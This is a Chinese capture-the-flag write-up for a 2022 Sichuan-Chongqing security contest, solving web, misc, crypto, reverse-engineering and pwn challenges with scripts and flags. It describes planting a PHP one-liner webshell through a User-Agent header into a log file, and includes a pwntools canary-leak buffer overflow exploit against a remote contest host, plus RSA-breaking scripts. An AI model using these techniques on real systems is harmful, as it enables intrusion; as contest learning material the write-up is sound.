2022年川渝网络与信息安全职业技能竞赛-个人初赛writeup

约定不等于承诺〃 2024-04-07 15:57 67阅读 0赞

### 1.Web ###

#### **1-1:****题目名称：目录扫描** ####

![198b3a59b994fb2fb4cfe25af85872e0.jpeg][]

![ef2a115f3cf0bd3d786f6819c562bf83.jpeg][]

![d6a59386e26b595b537445535f1b08ab.jpeg][]

Flag:

DASCTF\{84a70245035ca88088a2ba6ae2378021\}

#### **1-3:****题目名称：****MissingData** ####

主要就是开头ob\_start();所以所有输出都会存到缓冲区，用户手动取输出

所以文件名$this->LOG\_NAME由hello获得：

$hello = $\_GET\['hello'\];

echo $hello;

$this->LOG\_NAME = base64\_decode(ob\_get\_contents());//就把hello传过来的值存到LOG\_NAME了

ob\_clean();

文件内容就是REMOTE\_ADDR连接UA：

$getlog->setIp($\_SERVER\['REMOTE\_ADDR'\]);

$getlog->setUserAgent($\_SERVER\['HTTP\_USER\_AGENT'\]);

$getlog->echoLog();

$log\_info = date("Y-m-d H:i:s ").ob\_get\_contents();

最末尾析构函数会写日志

public $LOG\_PATH = "/log/";

file\_put\_contents(dirname(\_\_FILE\_\_).$this->LOG\_PATH.$this->LOG\_NAME,$log\_info);

//路径也就是./log/$\_GET\['hello'\]

//文件内容用UA写个一句话就OK

把输出都先丢缓冲区然后存文件里了，文件名由hello控制，文件内容ua写个一句话就行了

![8d4f7c0549b86bd9af5e8291530cf1a7.jpeg][]

![c88740254139970a9558fad599e9a864.jpeg][]

![5754ad2427aeaa9fc47ba4d7b909eacc.jpeg][]

### **2.****MISC** ###

#### **2-3-****题目名称：0101** ####

![9d163a5a7164b9607b313e0d289c42b7.jpeg][]

![8f5cb444a7447a28afec0293eb55a0a6.jpeg][]

发现是pk开头，是zip压缩包，改成a.zip

使用以下脚本进行得到flag:

importzipfilez = zipfile.ZipFile('./a.zip')foriinz.filelist:print(i)s = ''foriinrange(304):x = z.getinfo(f'file/\{i\}.png')ifx.file\_size>500:s += '0'else:s += '1'\# print(s)print(int.to\_bytes(int(s, 2), 304//8, 'big'))

flag: DASCTF\{Jo2YAKT\_IcRgmzZ3GWe\_Swt8vqadQO\}

### **3.CRYPTO** ###

#### **3-1****题目名称：soeasy\_rsa** ####

from gmpy2 import \*

from Crypto.Util.number import \*

a=23804021940078676408342301332036892900004728136480076479530219752065125327318821647722459216095770264965388973551323635311313178838670860487788476788686756050157264721772586844596306406576857878507037529439070526513923394974678433717664180257965624133033383511215139076867891548866207158515487182813656668091870588002638518245252590786003914393372830494390833657940568569618842104970029260363695053572749495893999945220493935637334868029460448282514843103145795102173534495304156971490358608124680851055950154432367509652612855903019752959349069234185596982394068554146096092741880878895682860091022727772496856721290

p=iroot(a,2)

print(p)

p=154285520837435281376516898144008792793020984180192603663692347665042795645086703863131549256869630446819852185017005249707039620525550780754809067914632509810226131750340822324265288338519653179637243674514007442185191001273565127093303845334544550007384054303733880561987508919843229875482519439615469904551

print(is\_prime(p))

c1 = 75949211970645260477840809230795170598275394663655585446502049744151634977806266592064437936389888280642329073167371358021391264606028082728274944584341647324957857195053188220196244561623697425292916511744852569537275299008074069250282222480373555169325242455879869868679935977005580843853804599341730525546675515324718058489296906319060874296111833437083796029771812

c2 = 77907941155376849046818020584594846942386293571953448410760364023962818506838837521412252753647936913064982141652362831680077554268552176063108954360620095019160785058740575077744544616439692739387312706279917959252426192939648962492950940347253817951644007140862267776520611944302335981903665518644840891111449931544355548130487697653008605945892957382219567188182572

q=iroot(a-(p\*\*2),2)

print(q)

q=888347358062191513488156436138991579826598872460149267394117

n=p\*q

for e in range(2\*\*16):

try:

d=invert(e,(p-1)\*(q-1))

m=pow(c1,d,n)

m=long\_to\_bytes(m)

if b'DASCTF' in m:

print(e)

print(m)

except:pass

![426e35e4c4dad3097b05e9b23c668a62.jpeg][]

#### **3-2****题目名称：middlersa1** ####

dp低位泄露，直接sagemath还原dp

fromtqdmimport*
    
    secret = 1642122247947767590084047512154856959705749371720710428047250478126321193705946117104552307567185209952017
    
    e = 0x10001
    
    n = 53290208062987048378703574235428685467319210471478014757229530639473548433668122104609082311237893278140109351209752453324855439700478949142631006593125874482133364050198292529339327668306943207846561273907830779959709641714284066463679953568692820076085446240980505949826504849495848235048490118010959579651
    
    
    
    F.<x> = PolynomialRing(Zmod(n))
    
    d = inverse_mod(e, n)
    
    forkintrange(1, e):
    
       f = (2^350*x+secret ) + (k-1) *d
    
       f=f.monic()
    
       x0 = f.small_roots(X=2** (160+1), beta=0.44, epsilon=1/32)
    
       iflen(x0) != 0:
    
           dp = x0[0]*2^350+secret
    
           foriinrange(2, e):
    
               p = (e*Integer(dp) -1+i) //i
    
               ifn%p == 0:
    
                   break
    
           ifp<0:
    
               continue
    
           else:
    
               print('p =',p)
    
               print('dp =',dp)
    
               break

charon@root:~/Desktop$sage3.sage
    
     3%|█▏                                  |2131/65536 [04:20<2:15:43,  7.79it/s]('p =', 7285247160124204278422137084033487832078298767596529079060207472774245581946206647731149570480079821873425695996881346401317790559430521087133338233749429)
    
    ('dp =', 236998137622790233327677438136615897248743961007000625548260712756987527361785137753678241058692497066300617725336085425448365495410315866728234083256081)
    
     3%|█▏                                  |2131/65536 [04:20<2:09:08,  8.18it/s]

fromCrypto.Util.numberimport*
    
    fromgmpy2import*
    
    
    
    p=7285247160124204278422137084033487832078298767596529079060207472774245581946206647731149570480079821873425695996881346401317790559430521087133338233749429
    
    n=53290208062987048378703574235428685467319210471478014757229530639473548433668122104609082311237893278140109351209752453324855439700478949142631006593125874482133364050198292529339327668306943207846561273907830779959709641714284066463679953568692820076085446240980505949826504849495848235048490118010959579651
    
    c=12164583901228226723569831803555747425419794714331207509347997795520206866173813478558747259319024376651968008838562856265966903471803669392265118265704723742518812401306445616633449971845569756343283456918105040589961351125414282181230864299705837250020888494290318050869813023592249838047791552928679622761
    
    print(is_prime(p))
    
    print(gcd(n,p))
    
    q=n//p
    
    e = 0x10001
    
    d=invert(e,(p-1)*(q-1))
    
    m=pow(c,d,n)
    
    print(long_to_bytes(m))

![23ca2b02805f0b0237ba1ab03dac45e5.jpeg][]

DASCTF\{6f05154b11bdf950cd2444176618139a\}

#### **3-3** **题目名称：middlersa3** ####

白给，直接源码中给了flag

fromCrypto.Util.numberimport*
    
    
    
    FLAG = b'DASCTF{ed3256281d277e12d926b0e8b49f6d78}'
    
    
    
    p = getPrime(512)
    
    q = getPrime(512)
    
    e = 0x10001
    
    d = inverse(e, (p-1)*(q-1))
    
    dp = d% (p-1)
    
    
    
    print('dp:', (dp&(2**(512-50)-1))>>50)
    
    print('N:', p*q)
    
    print('c:', pow(bytes_to_long(FLAG), e, p*q))
    
    
    
    '''
    
    dp: 2128058695275696512876004752540135766587344290422001997701794179770820634047195468195463118189149674857434252592319139131895
    
    N: 62750404132378782351782654563543747630197449894041776451397790050374158627602509619666444474672286035538086447514257150773929857058930455173191928959453666895924318267595065857666587937426343157432947610821599765514871454429345275531144349280502167596016574278216643741963132363234498658461551550399794413383
    
    c: 55337446119274361069965649785140747071935055092480249085789478526259932536136231609682528797724708750732847686561672780887952659134484499521434824018747099238582445758002389884725560169750050917959735297922450030075064765749276015138482194721673506034988635977907296576683118011031333035476989567847885710256
    
    '''

DASCTF\{ed3256281d277e12d926b0e8b49f6d78\}

### **4.RE** ###

#### **4-1****题目名称：simpleDispy** ####

pydis阅读题, 手动还原pydis验证算法.  
arr = \[47378,  
29475,  
46200,  
39869,  
67243,  
68695,  
73129,  
27171,  
53832,  
30653,  
60541,  
67276,  
58816,  
63571,  
50131,  
34471,  
67922,  
82293,  
33259,  
67538,  
57810,  
50339,  
34632,  
68754,  
83192,  
36077,  
60424,  
54547,  
56308,  
33565,  
69425,  
84024\]\# 验证  
k = 22643  
flag = 't'\*32  
for i in range(32):  
num = (ord(flag\[i\])\*255)+k  
if arr\[i\] != num:  
print('Error')  
break  
k = (k+num)&0xFFFF\# 还原flag  
k = 22643  
flag = ''  
for i in range(32):  
flag += chr(((arr\[i\] - k)//255))  
k = (k+arr\[i\])&0xFFFF  
print(flag)

![dc90dac0d0d847a7bf1ec84cdb07dbe9.jpeg][]

flag: ab0c216ec63a9f984cbf8975ad63e09c

#### **4-2****题目名称：stripgo** ####

v1=encoding_base64_NewEncoding((__int64)"QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/+m1234567890", 64LL);
    
    if ( v4==32&&runtime_memequal(v3, (__int64)"K/WyqBFyrUisB1Pse2KyDVYxM2CfMJ==", 32LL) )

变表base64

https://gchq.github.io/CyberChef/#recipe=From_Base64('QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/%2Bm1234567890',true,false)&input=Sy9XeXFCRnlyVWlzQjFQc2UyS3lEVll4TTJDZk1KPT0

G0\_is\_the\_best\_1anguge,

![66b72d768d998b14a5992e85978329e4.jpeg][]

然后再进行md5加密

Flag: 3ffecbd5aa525bfdbfae5987e8f961f9

![97281aa958dfc0662c10e9ed1318c491.jpeg][]

DASCTF\{4c73ad66ef2a06aaa704e696f2dd1034\}

### **5.PWN** ###

#### **5-1** **题目名称：ez\_canary** ####

![bee318882b3444cda8e029c9f7612109.jpeg][]

\#!/usr/bin/env python3

\#!coding: utf-8

from pwn import \*

context.log\_level = "debug"

magic = 0x000000000040121E

r = remote("43.143.139.234", 50905)

payload = b"k"\*(0xa+1)

r.sendafter(b"Username:", payload)

canary = u64(b"\\x00"+r.recv()\[6+0xa+1:6+0xa+1+7\])

payload2 = b"k"\*(0x1c-8) + p64(canary) + b"k"\*8 + p64(magic)

r.send(payload2)

r.interactive()

DASCTF\{c0dfc9d2ed0169818388a379e6fca2e0\}

![c0e1fc79837385bdd55ad99d9a69e8e0.jpeg][]

题目附件：

链接：https://pan.baidu.com/s/1KjEFjody2k\_0hcjuK0nSag *提取码：55tt*

[198b3a59b994fb2fb4cfe25af85872e0.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4fc11567e42c4d039c493880c0e7f31e.jpeg
[ef2a115f3cf0bd3d786f6819c562bf83.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7f3c79f4255d46ad9ee7df346d93ba14.jpeg
[d6a59386e26b595b537445535f1b08ab.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/2a86ec2decc4487eb5ee5ee26767b3ca.jpeg
[8d4f7c0549b86bd9af5e8291530cf1a7.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/569fce732c714b749d617eecac2d8c0c.jpeg
[c88740254139970a9558fad599e9a864.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/8940ee3bed6440c196625c4e1601822a.jpeg
[5754ad2427aeaa9fc47ba4d7b909eacc.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/1c3953d6528d44f1b8898c3128188abd.jpeg
[9d163a5a7164b9607b313e0d289c42b7.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0819a0bd6f2e46268856b2d114cc58c6.jpeg
[8f5cb444a7447a28afec0293eb55a0a6.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/839379c98a844db09077e7df10bb53fe.jpeg
[426e35e4c4dad3097b05e9b23c668a62.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f4b7a22b9ee64463bf73ce05ab6af6c1.jpeg
[23ca2b02805f0b0237ba1ab03dac45e5.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d412757c78b3421e8ee7b6dedfaf64d4.jpeg
[dc90dac0d0d847a7bf1ec84cdb07dbe9.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/55d76e867e6848b8b87762d47fde7d11.jpeg
[66b72d768d998b14a5992e85978329e4.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f9073d29754942ada68a1667d1186f7b.jpeg
[97281aa958dfc0662c10e9ed1318c491.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/1a06b0f817f94d4d99058616fbb962b4.jpeg
[bee318882b3444cda8e029c9f7612109.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/091769ffac8b44da8441569b937ea0e8.jpeg
[c0e1fc79837385bdd55ad99d9a69e8e0.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c6629d1dcc8440ecb3257dfc8c448406.jpeg